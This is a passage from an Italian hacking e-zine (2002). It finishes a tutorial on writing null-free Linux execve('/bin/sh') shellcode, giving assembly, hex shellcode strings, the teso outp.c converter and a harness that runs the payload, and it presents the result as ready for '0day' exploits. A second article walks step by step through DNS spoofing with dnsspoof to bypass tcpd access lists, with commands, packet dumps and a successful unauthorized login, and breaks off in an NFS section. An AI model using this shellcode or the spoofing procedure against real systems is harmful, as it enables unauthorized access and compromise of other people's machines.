| 0x80483b9 <main+5>: 0x7c |
| (gdb) |
| 0x80483ba <main+6>: 0xfb |
| (gdb) |
| 0x80483bb <main+7>: 0xf7 |
| (gdb) |
| 0x80483bc <main+8>: 0x5e |
| (gdb) |
| 0x80483bd <main+9>: 0x89 |
| (gdb) |
| 0x80483be <main+10>: 0x76 |
| (gdb) |
| 0x80483bf <main+11>: 0x08 |
| (gdb) |
| 0x80483c0 <main+12>: 0xc7 |
| (gdb) |
| 0x80483c1 <main+13>: 0x46 |
| (gdb) |
| 0x80483c2 <main+14>: 0x0c |
| (gdb) |
| 0x80483c3 <main+15>: 0x00 <--- queste 4 linne non vanno bene |
| (gdb) |
| 0x80483c4 <main+16>: 0x00 |
| (gdb) |
| 0x80483c5 <main+17>: 0x00 |
| (gdb) |
| 0x80483c6 <main+18>: 0x00 |
| (gdb) |
| 0x80483c7 <main+19>: 0xc6 |
| (gdb) |
| 0x80483c8 <main+20>: 0x46 |
| (gdb) |
| 0x80483c9 <main+21>: 0x07 |
| (gdb) |
| 0x80483ca <main+22>: 0x00 <--- altra linea incriminata |
| (gdb) |
| 0x80483cb <main+23>: 0x89 |
| (gdb) |
| 0x80483cb <main+23>: 0x89 |
| (gdb) |
| 0x80483cc <main+24>: 0xf3 |
| (gdb) |
| 0x80483cd <main+25>: 0x8d |
| (gdb) |
| 0x80483ce <main+26>: 0x4e |
| (gdb) |
| 0x80483cf <main+27>: 0x08 |
| (gdb) |
| 0x80483d0 <main+28>: 0x80 |
| (gdb) |
| 0x80483d1 <main+29>: 0x56 |
| (gdb) |
| 0x80483d2 <main+30>: 0x0c |
| (gdb) |
| 0x80483d3 <main+31>: 0xb8 |
| (gdb) |
| 0x80483d4 <main+32>: 0x0b |
| (gdb) |
| 0x80483d5 <main+33>: 0x00 <-- bisogna rimediare anche qui |
| (gdb) |
| 0x80483d6 <main+34>: 0x00 |
| (gdb) |
| 0x80483d6 <main+34>: 0x00 |
| (gdb) |
| 0x80483d7 <main+35>: 0x00 |
| (gdb) |
| 0x80483d8 <main+36>: 0xcd |
| (gdb) |
| 0x80483d9 <main+37>: 0x80 |
| (gdb) |
| 0x80483da <main+38>: 0xe8 |
| (gdb) |
| 0x80483db <main+39>: 0xfe |
| (gdb) |
| 0x80483dc <main+40>: 0x7b |
| (gdb) |
| 0x80483dd <main+41>: 0xfb |
| (gdb) |
| 0x80483de <main+42>: 0xf7 |
| (gdb) |
| 0x80483df <main+43>: 0x2f |
| (gdb) |
| 0x80483e0 <main+44>: 0x62 |
| (gdb) |
| 0x80483e1 <main+45>: 0x69 |
| (gdb) |
| 0x80483e2 <main+46>: 0x6e |
| (gdb) |
| 0x80483e3 <main+47>: 0x2f |
| (gdb) |
| 0x80483e4 <main+48>: 0x73 |
| (gdb) |
| 0x80483e5 <main+49>: 0x68 |
| |
| Bisogna ottimizzare il codice assembler, eliminando gli zeri. |
| |
| Le istruzione incriminate sono le seguenti: |
| |
| movb $0x0,0x7(%esi) |
| movl $0x0,0xc(%esi) |
| movl $0xb,$eax |
| |
| Ma se dobbiamo utilizzare lo zero, per esempio per azzerare un |
| registro ? Chi programma in assembler sa che in genere per azzerare i |
| registri non si usa mov $0x0, %eax; al suo posto si puo' utilizzare |
| xorl %eax,%eax. L'or-esclusivo (xor) del registro con se stesso da |
| come risultato zero. Infatti, se seguiamo le regole dell'operatore |
| logico xor |
| |
| 1 e 1 = 0 |
| 1 e 0 = 1 |
| 0 e 1 = 1 |
| 0 e 0 = 0 |
| |
| e le applichiamo al seguente caso: |
| |
| 10010110 xor 10010110 |
| otteniamo |
| |
| 10010110 xor |
| 10010110 |
| -------- |
| 00000000 |
| |
| Lo xor di un numero con se stesso da come risultato 0. |
| |
| Quindi, inseriamo la linea |
| |
| xorl %eax,%eax |
| |
| ed effettuiamo le mov necessarie: |
| |
| movb %al,0x7(%esi) |
| movl %eax,0xc(%esi) |
| |
| Infine cambiamo un opcode. Al posto di |
| movl $0xb,$eax |
| |
| mettiamo |
| movb $0xb,%al |
| |
| La differenza tra i due opcode e' che il primo coinvolge tutto il |
| registro eax, mentre il secondo solo la parte bassa di eax, ovvero |
| "al" il "registrino" a 8 bit "contenuto" in eax. |
| Mettere il valore "0xb" (ovvero il cocide di execve) in "al" prima |
| di chiamare int 80 e' il nostro scopo, quindi questa soluzione ci |
| andra' benissimo. |
| |
| In alternativa a xor, si potrebbe usare l'istruzione sub. Per esempio |
| sub eax,eax ottiene l'effetto di azzerare il registro. |
| |
| Ora il nostro shellcode avra' questo aspetto: |
| |
| shell2.c |
| void main(){ |
| __asm__("jmp fine \n" |
| "inizio: popl %esi \n" |
| "movl %esi,0x8(%esi) \n"
|
| "xorl %eax,%eax \n" |
| "movb %al,0x7(%esi) \n" |
| "movl %eax,0xc(%esi) \n" |
| "movl %esi,%ebx \n" |
| "leal 0x8(%esi),%ecx \n" |
| "leal 0xc(%esi),%edx \n" |
| "movb $0xb,%al \n" |
| "int $0x80 \n" |
| "fine: call inizio \n" |
| ".string \"/bin/sh\" \n"); |
| } |
| |
| |
| Compiliamolo con gcc shell2.c -o shell2 e lanciamo gdb |
| |
| gdb shell2 |
| |
| Analizzando il nostro codice con xb/x non troveremo zeri ;) |
| |
| |
| 4.2 La Via della Mano Destra |
| ----------------------------- |
| In tutti gli exploit noi vediamo lo shellcode in questa forma: |
| |
| char c0de[]= |
| "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3" |
| "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f" |
| "\x62\x69\x6e\x2f\x73\x68"; |
| |
| L'ultima nostra fatica sara' quella di convertire il codice macchina |
| in stringhe contenenti codice esadecimale da inserire nell'exploit |
| stesso. |
| |
| Le vie sono 2: |
| 1. a manina |
| 2. usando un programma |
| |
| Se siamo masochisti useremo la via dei folli, ovvero la Via della Mano |
| Sinistra, la prima. |
| |
| Compiliamo il nostro codicillo, entriamo in gdb, scandagliamo il |
| codice e lo copiamo a mano, ovvero: |
| |
| gcc shell2.c -o shell2 |
| gdb shell2 |
| |
| (gdb) xb/x main+3 (saltiamo il preambolo che non ci serve) |
| |
| 0x80483c3 <main+3>: 0xeb |
| (gdb) |
| 0x80483c4 <main+4>: 0x18 |
| (gdb) |
| 0x80483c5 <main+5>: 0x5e |
| (gdb) |
| 0x80483c6 <main+6>: 0x89 |
| (gdb) |
| ... |
| ... |
| ... |
| |
| Prendiamo 0xeb e lo copiamo, prendiamo 0x18 e lo copiamo... |
| |
| In alternativa possiamo usare la Via della Mano Destra, la via |
| contemplativa: facciamo un programmino. Anzi, quei santi ragazzi dei |
| teso hanno gia' provveduto. Lo scriptino allegato fa al caso nostro. |
| |
| 8<---outp.c |
| #include <stdio.h> |
| /* |
| convert .s to shellcode. typo/teso (typo@inferno.tusculum.edu) |
| $ cat lala.s |
| .globl cbegin |
| .globl cend |
| cbegin: |
| xorl %eax, %eax |
| ... |
| cend: |
| $ gcc -Wall lala.s outp.c -o lala |
| $ ./lala |
| unsigned char shellcode[] = |
| "\x31\xc0\x31\xdb\x31\xc9\xb3\x0f\xb1\x0f\xb0\x47\xcd\x80\xeb\x1e\x5b" |
| "\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c" |
| "\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\xb0\x01\xcd\x80\xe8\xdd\xff\xff\xff" |
| "\x2f\x74\x6d\x70\x2f\x74\x73\x74\x65\x73\x6f\x63\x72\x65\x77\x21\x21"; |
| ... |
| */ |
| extern void cbegin(); |
| extern void cend(); |
| int main() { |
| char *buf = (char *) cbegin; |
| int i = 0, x = 0; |
| printf("unsigned char shellcode[] = \n\""); |
| for (; (*buf) && (buf < (char *) cend); buf++) { |
| if (i++ == 17) i = 1; |
| if (i == 1 && x != 0) printf("\"\n\""); |
| x = 1; |
| printf("\\x%02x", (unsigned char) *buf); |
| } |
| printf("\";\n");p |
| printf("int main() {void (*f)();f = (void *) shellcode; |
| printf(\"%%d\\n\",strlen(shellcode));f();}"); |
| return(0); |
| } |
| 8<--- |
| |
| L'uso e' semplicissimo. |
| Compiliamo la nostra shellcode con -S per produrre il listato |
| assembler e quindi compiliamo il prodotto con outp.c dei teso: |
| |
| gcc shell2.c -S |
| gcc shell2.s outp.c -o codicillo |
| |
| eseguendo il programma cosi' ottenuto (ovvero "codicillo") si otterra' |
| la shellcode in formato stringa/hex e una funzione per testarla. |
| Cosi' per interderci: |
| |
| unsigned char shellcode[] = |
| "\xeb\x20\x5e\x89\x76\x08\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xc0\x89" |
| "\x46\x0c\x88\x46\x07\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80" |
| "\xe8\xdb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; |
| |
| int main() { |
| |
| void (*f)(); |
| |
| f = (void *) shellcode; |
| printf("%d\n", strlen(shellcode)); |
| f(); |
| |
| } |
| |
| Se funziona, potra' essere distribuita o utilizzata nei nostri |
| meravigliosi 0day |
| :))) |
| |
| ./codicillo > mioshellcode.c |
| |
| gcc mioshellcode.c -o mioshellcode |
| ./mioshellcode. |
| |
| Attenzione: il codice dei teso prevede la presenza di due label |
| "cbegin:" e "cend:" prima della shellcode e subito dopo; inoltre |
| otterrete un errore se utilizzerete il nome "main" per la funzione |
| della shellcode: sostituitelo con "cmain" e tutto dovrebbe funzionare. |
| |
| |
| 5. Conclusione |
| ------------------------------------------------------------------------ |
| Nessuno si illuda. Una volta acquisiti i concetti qui espressi non si |
| diventa automaticamente "hacker". Queste conoscenze rappresentano il |
| know-how di base per chi vuole intraprendere la strada della nobile |
| arte hackeresca. |
| |
| Questi sono argomenti gia' conosciuti, triti e ritriti, quasi banali |
| dal punto di vista dell'hacking. La via del cracker di professione o |
| dell'ethical hacker e' assai lunga e complicata: questo e' solo |
| l'inizio. |
| |
| Lo shellcode che abbiamo visto e' molto semplice (ma efficace). In |
| realta' spesso cio' non basta. Potremmo aver bisogno di bindare la |
| shell sul tcp, droppare la rootshell in /tmp, aprire una sessione |
| telnet inversa... Il limite e' dato dalla fantasia e dall'abilita'. |
| |
| Inoltre bisogna considerare la presenza di IDS. Esistono tecniche che |
| permettono di "beffarli". Su un vecchio numero di phrack e' stato |
| presentato un compilatore di shellcode che permette di trasformare il |
| codice prodotto utilizzando solo caratteri stampabibli. |
| |
| Questo articolo ha cercato di spiegare alcuni concetti che forse erano |
| ancora oscuri a molti, e ha voluto far intravedere ad altri la |
| meraviglia dell'arcana programmazione in assembler. Forse qualcuno |
| abbandonera' i trojan o gli scriptz e cerchera' finalmente di capire |
| che cosa sta facendo... |
| |
| |
| 6. Fonti |
| ------------------------------------------------------------------------ |
| "Smashing The Stack For Fun And Profit", Aleph1 |
| "Introduction to Buffer Overflow", Ghost_Rider |
| "The Art of Writing Shellcode", smiler |
| "How to write Buffer Overflows", mudge |
| "outp.c", typo/teso |
| "Il manuale 80386". (McGrwaHill) llC.H. Pappas, W.H. Murray III |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #06 - 25/04/2002 |
| DNS SP00F ATTACK [E4zy] 0x06/0x1D |
+--------------------------------------------------------------------------+
| |
| 1. Introduzione |
| |
| 2. DNS Query & Reply |
| |
| 3. Dnsspoof |
| 3.1 Sintassi |
| 3.2 Esempio |
| |
| 4. TCP Wrapper |
| 4.1 Tcpd bypass |
| |
| 5. NFS Service |
| 5.1 NFS server bypass |
| 5.2 Exportfs |
| 5.3 NFS client bypass |
| |
| 6. Contromisure |
| |
| 7. Risorse |
| |
| |
| |
| 1. Introduzione |
| Bind (Berkeley Internet Name Domain) è la più comune implementazione del |
| protocollo DNS nei sistemi Unix like, named è il nome del demone |
| responsabile della risoluzione dei nomi di dominio e sarà proprio di |
| esso che ci serviremo per applicare quanto spiegato nel corso di questo |
| articolo. |
| La strada di Bind e dei servizi DNS in generale è costellata di falle |
| nella sicurezza, talvolta queste derivano dal demone ma altre volte da |
| vulnerabilità insite negli stessi protocolli di rete. Il caso del DNS |
| spoofing in particolare ricade nella seconda categoria e per tale motivo |
| risulta indipendente dal programma demone e dal sistema operativo. |
| |
| 2. DNS Query & Reply |
| Gli hostname risultano più gradevoli e più facilmente memorizzabili alla |
| maggior parte della gente che usufruisce dei servizi offerti dalla Rete, |
| pertanto è necessario un servizio in grado di fornire una relazione tra |
| gli hostname e gli indirizzi IP presenti su Internet, questa funzione è |
| svolta egregiamente dai server DNS. |
| I resolver, ovvero i programmi che generano le interrogazioni verso un |
| NS (NameServer), si avvalgono del protocollo UDP notoriamente insicuro |
| in quanto non garantisce l'avvenuta ricezione del pacchetto da parte |
| dell'host destinatario (non confermato) e non stabilisce una connessione |
| (non connesso), dando modo ad un malintenzionato di ledere alla |
| sicurezza della sessione stessa. |
| Una query DNS (interrogazione) può essere intercettata da un host remoto |
| malevolo il quale spoofando il source address del pacchetto IP può |
| inviare una risposta al mittente come se provenisse dal server DNS, la |
| DNS reply conterrà informazioni atte all'alterazione della sessione che |
| il mittente della query si appresta ad intraprendere. |
| Naturalmente questa tecnica avrà successo solo nel caso in cui la |
| risposta fasulla dovesse giungere a destinazione prima della reply |
| legittima proveniente dal NS che verrebbe di conseguenza ignorata. |
| |
| 3. Dnsspoof |
| Dnsspoof fa parte del pacchetto Dsniff reperibile all'indirizzo |
| http://www.monkey.org/~dugsong/dsniff, questo è anche il nome del tool |
| che utilizzerò durante la trattazione di questo articolo per illustrare |
| le modalità con cui un attacker ha la possibilità di portare a termine |
| con successo un attacco di DNS spoofing contro la nostra macchina. |
| L'ambiente ideale per mettere in atto questa tecnica è rappresentato da |
| una rete locale NON commutata(1) che agevola lo sniffing del traffico |
| inoltrando i pacchetti a tutti gli host che la popolano, ad esempio una |
| rete dotata di HUB. |
| |
| (1)commutata: in cui vi è la presenza di dispositivi di rete quali |
| switch che dividono la rete in diversi segmenti tra loro indipendenti, i |
| pacchetti vengono inoltrati ad uno solo dei segmenti di rete popolati da |
| un numero limitato di host. |
| |
| 3.1 Sintassi |
| Usage: dnsspoof [-i interface] [-f hostsfile] [expression] |
| dove: |
| -i interface |
| rappresenta l'interfaccia di rete sulla quale si desidera |
| rimanere in ascolto |
| |
| -f hostsfile |
| permette di specificare il percorso del file contenente le |
| associazioni IP/hostname che si desidera spoofare, esempio: |
| |
| 192.168.1.1 trust.dominio.it |
| |
| in questo modo qualsiasi query che cerchi di risolvere il |
| nome host trust.dominio.it riceverà una reply fasulla con |
| l'IP 192.168.1.1, la stessa cosa vale per le operazioni di |
| lookup |
| |
| expression |
| permette di specificare delle espressioni al fine di filtrare |
| in modo selettivo i pacchetti da sniffare |
| |
| 3.2 Esempio |
| Quello che segue è un semplice esempio che ha lo scopo di illustrare il |
| funzionamento di Dnsspoof prima di addentrarci nell'analisi degli |
| attacchi veri e propri alle risorse di rete: |
| |
| attacker@attack:~$ host trust |
| trust.linuxbox.com. has address 192.168.1.6 |
| |
| Il comando host ci permette di interrogare il nostro server DNS primario |
| il cui indirizzo IP è contenuto all'interno del file /etc/resolv.conf, |
| nell'esempio il server DNS restituisce come risposta l'IP effettivo |
| dell'host che risponde all'hostname trust.linuxbox.com. |
| Ora proviamo ad eseguire il programma Dnsspoof in questo modo: |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt udp dst port 53 |
| dnsspoof: listening on eth0 [udp dst port 53] |
| |
| dove il file hosts.txt che si trova nella directory ~ (home) dell'utente |
| contiene le relazioni IP/hostname che si desidera spoofare, in questo |
| esempio: |
| |
| 192.168.1.4 trust.linuxbox.com |
| |
| l'espressione "udp dst port 53" specifica che il programma si limiti a |
| sniffare i soli pacchetti UDP destinati alla porta 53, ovvero la porta |
| adibita alle query DNS. |
| Ora ripetiamo il comando host utilizzato in precedenza e se tutto è |
| andato come previsto noteremo con sorpresa che l'oputput del comando è |
| cambiato e l'IP restituito dall'interrogazione è lo stesso che abbiamo |
| fornito come input al programma Dnsspoof: |
| |
| attacker@attack:~$ host trust |
| trust.linuxbox.com. has address 192.168.1.4 |
| |
| Ecco l'output di Dnsspoof: |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt udp dst port 53 |
| dnsspoof: listening on eth0 [udp dst port 53] |
| 192.168.1.4.1079 > 192.168.1.5.53: 34196+ A? trust.linuxbox.com |
| |
| Ma cosa è successo realmente? E' presto detto. |
| Come si può notare poche righe più sopra, Dnsspoof ha sniffato una query |
| proveniente dal nostro stesso host che rispondeva ai criteri specificati |
| e ha anticipato la risposta del NS rispondendo in sua vece e fornendo un |
| indirizzo IP fasullo. |
| |
| 4. TCP Wrapper |
| Tcpd, conosciuto anche con il nome di Tcp wrapper, è un demone che come |
| molti altri programmi fa affidamento al servizio DNS per risolvere i |
| nomi host che interessano tale processo. E' proprio questa eccessiva |
| fiducia che rende tale strumento del tutto insicuro se viene utilizzato |
| in maniera errata. |
| Lo scopo di tcpd è quello di monitorare la provenienza delle richieste |
| inoltrate dall'esterno della rete e consentire o meno l'accesso a |
| determinati servizi sulla base di liste di controllo degli accessi |
| rappresentate rispettivamente dai file /etc/hosts.allow e |
| /etc/hosts.deny |
| Esso può essere tratto in inganno qualora facesse affidamento a un |
| server DNS remoto per la risoluzione degli hostname presenti nelle liste |
| di controllo degli accessi. |
| |
| 4.1 Tcpd bypass |
| Un possibile scenario d'attacco è rappresentato da una rete locale con |
| le seguenti specifiche: |
| |
| Hostname Indirizzi IP Descrizione |
| |
| attack.linuxbox.com 192.168.1.4 l'host dell'attacker |
| dns.linuxbox.com 192.168.1.5 il server DNS |
| trust.linuxbox.com 192.168.1.6 il sistema "fidato" |
| victim.linuxbox.com 192.168.1.7 il server che utilizza tcpd |
| |
| La tecnica che mi appresto a descrivere è resa possibile da un uso |
| improprio delle liste di accesso hosts.allow e hosts.deny, come potremo |
| vedere in seguito è caldamente sconsigliato l'utilizzo di hostname come |
| entry per questi file. |
| |
| /etc/hosts.allow: |
| ALL:trust.linuxbox.com |
| |
| /etc/hosts.deny: |
| ALL:ALL |
| |
| Il file hosts.allow permette l'accesso a tutti i servizi (ALL) purchè la |
| richiesta provenga dal sistema trust.linuxbox.com, il file hosts.deny |
| rifiuta quasiasi accesso non sia esplicitamente indicato nel file |
| hosts.allow. |
| |
| Ecco cosa accade se cerchiamo di connetterci a victim dall'host attack, |
| il quale da quanto specificato nelle access list non è autorizzato a |
| stabilire una connessione: |
| |
| attacker@attack:~$ telnet 192.168.1.7 23 |
| Trying 192.168.1.7... |
| Connected to 192.168.1.7. |
| Escape character is '^]'. |
| Connection closed by foreign host. |
| |
| Il tentativo di connessione è scongiurato da tcpd! |
| Qui di seguito l'output di Snort ci aiuta a capire cos'è successo e ci |
| permette di fare alcune riflessioni, ogni pacchetto è commentato nei |
| minimi dettagli al fine di rendere più semplice la comprensione: |
| |
| attacker@attack:~# snort -vd udp port 53 |
| 02/18-20:05:13.455540 192.168.1.7:1026 -> 192.168.1.5:53 |
| UDP TTL:209 TOS:0x0 ID:26910 IpLen:20 DgmLen:70 DF |
| Len: 50 |
| 9D FA 01 00 00 01 00 00 00 00 00 00 01 34 01 31 .............4.1 |
| 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr |
| 04 61 72 70 61 00 00 0C 00 01 .arpa..... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| L'host con IP 192.168.1.7 (victim), una volta contattato dall'host |
| attack che desidera connettersi, controlla la propria lista di accesso |
| alla ricerca di un IP/hostname che corrisponda a quello del sistema |
| richiedente ovvero 192.168.1.4 (attack), la prima voce che trova è |
| relativa all'hostname trust.linuxbox.com, a questo punto a victim non |
| resta che risolvere l'IP di cui è in possesso (192.168.1.4) nel |
| rispettivo hostname al fine di verificarne un'eventuale corrispondenza. |
| Pertanto si rende necessaria un'interrogazione al server DNS e qualora |
| l'hostname ottenuto dovesse risultare pari a quello presente in |
| hosts.allow l'accesso alle risorse sarà consentito. |
| |
| 02/18-20:05:13.456022 192.168.1.5:53 -> 192.168.1.7:1026 |
| UDP TTL:64 TOS:0x0 ID:119 IpLen:20 DgmLen:137 |
| Len: 117 |
| 9D FA 85 80 00 01 00 01 00 01 00 01 01 34 01 31 .............4.1 |
| 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr |
| 04 61 72 70 61 00 00 0C 00 01 C0 0C 00 0C 00 01 .arpa........... |
| 00 01 51 80 00 15 06 61 74 74 61 63 6B 08 6C 69 ..Q....attack.li |
| 6E 75 78 62 6F 78 03 63 6F 6D 00 C0 0E 00 02 00 nuxbox.com...... |
| 01 00 01 51 80 00 06 03 64 6E 73 C0 3D C0 57 00 ...Q....dns.=.W. |
| 01 00 01 00 01 51 80 00 04 C0 A8 01 05 .....Q....... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| Il server DNS risponde a 192.168.1.7 (victim) dicendo che l'hostname |
| relativo all'IP del richiedente (192.168.1.4) risulta essere |
| attack.linuxbox.com che è palesemente diverso da trust.linuxbox.com. |
| |
| 02/18-20:05:13.469858 192.168.1.7:1026 -> 192.168.1.5:53 |
| UDP TTL:219 TOS:0x0 ID:29268 IpLen:20 DgmLen:65 DF |
| Len: 45 |
| 9D FB 01 00 00 01 00 00 00 00 00 00 06 61 74 74 .............att |
| 61 63 6B 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D ack.linuxbox.com |
| 00 00 01 00 01 ..... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| A questo punto victim fa un'ulteriore richista al fine di risolvere il |
| nome host ottenuto in precedenza dal lookup di 192.168.1.4 |
| (attack.linuxbox.com) nuovamente nell'indirizzo IP per una maggiore |
| garanzia. |
| |
| 02/18-20:05:13.470293 192.168.1.5:53 -> 192.168.1.7:1026 |
| UDP TTL:64 TOS:0x0 ID:120 IpLen:20 DgmLen:115 |
| Len: 95 |
| 9D FB 85 80 00 01 00 01 00 01 00 01 06 61 74 74 .............att |
| 61 63 6B 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D ack.linuxbox.com |
| 00 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 .............Q.. |
| 04 C0 A8 01 04 C0 13 00 02 00 01 00 01 51 80 00 .............Q.. |
| 06 03 64 6E 73 C0 13 C0 41 00 01 00 01 00 01 51 ..dns...A......Q |
| 80 00 04 C0 A8 01 05 ....... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| L'IP restituito è nuovamente quello di attack ovvero 192.168.1.4. |
| La connessione è perciò inibita dal tcp wrapper che non trova alcuna |
| rispondenza tra l'hostname restituito dal resolver (attack.linuxbox.com) |
| e le voci contenute nelle liste di controllo. |
| |
| Come può un malintenzionato aggirare tali restrizioni d'accesso? |
| Usando la tecnica del DNS spoofing naturalmente! |
| |
| Torniamo al nostro esempio, ovvero stessi IP/hostname dello scenario d' |
| attacco precedente, il nostro attacker potrà operare come segue al fine |
| di ottenere un accesso non consentito al sistema victim: |
| |
| attacker@attack:~# echo "192.168.1.4 trust.linuxbox.com" > ~/hosts.txt |
| attacker@attack:~# cat ~/hosts.txt |
| 192.168.1.4 trust.linuxbox.com |
| |
| In questo modo abbiamo creato il file hosts.txt nella dir ~ (home) dell' |
| utente sul sistema attack, sarà lo stesso file che utilizzeremo come |
| input per il programma Dnsspoof. |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| |
| Ora Dnsspoof è in ascolto in attesa di qualsiasi DNS query il cui source |
| address non corrisponda al nostro. Non vogliamo spoofare le query che |
| effettuamo noi vero? :) |
| |
| A questo punto non resta che stabilire una connessione con l'host victim |
| che come vedete adesso accetta la nostra richiesta e ci da accesso: |
| |
| attacker@attack:~$ telnet 192.168.1.7 23 |
| Trying 192.168.1.7... |
| Connected to 192.168.1.7. |
| Escape character is '^]'. |
| |
| victim login: |
| |
| Cosa è successo? |
| Non siamo l'host trust eppure ci ha permesso di connetterci in quanto |
| gli abbiamo fatto credere di esserlo! |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| 192.168.1.7.1026 > 192.168.1.5.53: 53493+ PTR? 4.1.168.192.in-addr.arpa |
| 192.168.1.7.1026 > 192.168.1.5.53: 53494+ A? trust.linuxbox.com |
| |
| Come si può vedere dall'output di Dnsspoof le query rivolte al DNS sono |
| state tempestivamente intercettate e il programma ha provveduto a |
| fornire ad esse una risposta come da noi richiesto e come se |
| provenissero realmente dal server DNS, questo ha dato modo al demone |
| tcpd di credere che l'hostname associato all'IP del richiedente |
| (192.168.1.4) fosse proprio trust.linuxbox.com il quale risulta |
| autorizzato. |
| Vediamo ora l'output di Snort che ci permette di scattare un'istantanea |
| di quanto è avvenuto, ho provveduto a fornire i commenti dove l'ho |
| ritenuto necessario: |
| |
| attacker@attack:~# snort -vd udp port 53 |
| 02/18-19:50:43.511279 192.168.1.7:1026 -> 192.168.1.5:53 |
| UDP TTL:106 TOS:0x0 ID:36520 IpLen:20 DgmLen:70 DF |
| Len: 50 |
| D0 F5 01 00 00 01 00 00 00 00 00 00 01 34 01 31 .............4.1 |
| 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr |
| 04 61 72 70 61 00 00 0C 00 01 .arpa..... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| Victim chiede al server DNS a che hostname corrisponde l'IP address |
| 192.168.1.4 per poter fare un confronto tra l'hostname del richiedente e |
| l'hostname contenuto in hosts.allow ovvero trust.linuxbox.com. |
| |
| 02/18-19:50:43.511764 192.168.1.5:53 -> 192.168.1.7:1026 |
| UDP TTL:64 TOS:0x0 ID:102 IpLen:20 DgmLen:137 |
| Len: 117 |
| D0 F5 85 80 00 01 00 01 00 01 00 01 01 34 01 31 .............4.1 |
| 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr |
| 04 61 72 70 61 00 00 0C 00 01 C0 0C 00 0C 00 01 .arpa........... |
| 00 01 51 80 00 15 06 61 74 74 61 63 6B 08 6C 69 ..Q....attack.li |
| 6E 75 78 62 6F 78 03 63 6F 6D 00 C0 0E 00 02 00 nuxbox.com...... |
| 01 00 01 51 80 00 06 03 64 6E 73 C0 3D C0 57 00 ...Q....dns.=.W. |
| 01 00 01 00 01 51 80 00 04 C0 A8 01 05 .....Q....... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| La risposta a tale query contiene l'hostname reale dell'host 192.168.1.4 |
| ma quest'ultima ARRIVA DOPO la risposta fasulla fornita da Dnsspoof e |
| pertanto viene ignorata. |
| |
| 02/18-19:50:43.514447 192.168.1.7:1026 -> 192.168.1.5:53 |
| UDP TTL:149 TOS:0x0 ID:44934 IpLen:20 DgmLen:64 DF |
| Len: 44 |
| D0 F6 01 00 00 01 00 00 00 00 00 00 05 74 72 75 .............tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 .... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| Victim a questo punto richiede l'IP dell'hostname ottenuto dalla query |
| precedente che risulta appunto essere trust.linuxbox.com in seguito alla |
| reply fasulla da parte di Dnsspoof:) |
| |
| 02/18-19:50:43.514866 192.168.1.5:53 -> 192.168.1.7:1026 |
| UDP TTL:64 TOS:0x0 ID:103 IpLen:20 DgmLen:114 |
| Len: 94 |
| D0 F6 85 80 00 01 00 01 00 01 00 01 05 74 72 75 .............tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... |
| C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... |
| 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. |
| 00 04 C0 A8 01 05 ...... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| Questa risposta sarà ricevuto solo IN SEGUITO a quella fornita dal |
| programma di spoofing del DNS e sarà perciò ignorata. |
| |
| Alla luce di quanto detto victim crederà a tutti gli effetti di avere a |
| che fare con trust.linuxbox.com e acconsentirà inconsapevolmente alla |
| connessione di attack.linuxbox.com. |
| |
| 5. NFS Service |
| I servizi NFS (Network File System) sono stati sviluppati allo scopo di |
| permettere il mount di partizioni di disco remote, se mal configurato |
| questo servizio può essere tratto in inganno da un utente remoto non |
| autorizzato che voglia accedere alle partizioni condivise. |
| NFS si serve del file /etc/exports per determinare la legittimità o meno |
